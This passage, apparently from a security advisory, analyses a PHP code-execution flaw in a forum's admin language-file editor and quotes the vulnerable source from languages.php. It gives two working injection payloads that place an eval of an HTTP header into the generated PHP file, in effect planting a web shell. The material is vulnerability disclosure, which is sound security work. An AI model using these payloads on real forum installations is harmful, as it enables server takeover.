Admin CP --> language management. This will let you manipulate language files and inject your own php code. For details look at Darkfig's advisory

VI - CODE EXECUTION
The ACP allows admins to manage languages, they can
choose the default language, import a new one, and edit
them. Let's take a look in the file "sources/action_admin/
languages.php":
65| switch($this->ipsclass->input['code'])
66| {
..|
88| case 'doedit':
89| $this->ipsclass->admin->cp_permission_check(...);
90| $this->save_langfile();
110| break;
...|
935| function save_langfile()
936| {
...|
957| $lang_file = CACHE_PATH."cache/lang_cache/".$row['ldir'].
...| "/".$this->ipsclass->input['lang_file'];
958|
959| if (! file_exists( $lang_file ) ) ...
...|
963|
964| if (! is_writeable( $lang_file ) ) ...
...|
969| $barney = array();
970|
971| foreach ($this->ipsclass->input as $k => $v)
972| {
973| if ( preg_match( "/^XX_(\S+)$/", $k, $match ) )
974| {
975| if ( isset($this->ipsclass->input[ $match[0] ]) )
976| {
977| $v = str_replace("'", "'", stripslashes($_POST[$match[0]]));
978| $v = str_replace("<", "<", $v );
979| $v = str_replace(">", ">", $v );
980| $v = str_replace("&", "&", $v );
981| $v = str_replace("\r", "", $v );
982|
983| $barney[ $match[1] ] = $v;
984| }
985| }
986| }
As you can see, there's several replacements which are
made. Some HTML entities are converted to their applicable
characters. The "stripslashes()" function is also called.
But we don't really care about that, this will not cause
a problem, this was just to show you how user's inputs
are treated. Now let's see how the change is made:
993| $start = "<?php\n\n".'$lang = array('."\n";
994|
995| foreach($barney as $key => $text)
996| {
997| $text = preg_replace("/\n{1,}$/", "", $text);
998| $start .= "\n'".$key."' => \"".str_replace( '"', '\"', $text)."\",";
999| }
1000|
1001| $start .= "\n\n);\n\n?".">";
1002|
1003| if ($fh = fopen( $lang_file, 'w') )
1004| {
1005| fwrite($fh, $start );
1006| fclose($fh);
1007| }
So, there's a protection against double quotes, not all
escape characters. There are several ways to bypass this
protection.
The first method, is to play with what we call "dynamic
variables". With two $, we can execute PHP code.
Example: ${${@eval($_SERVER[HTTP_SH])}}
The second one, is to use another escape character, a
backslash (\) will do the stuff. The attacker must change
two inputs. Example:
First input: hello\
Second input: ); @eval($_SERVER[HTTP_SH]); /*
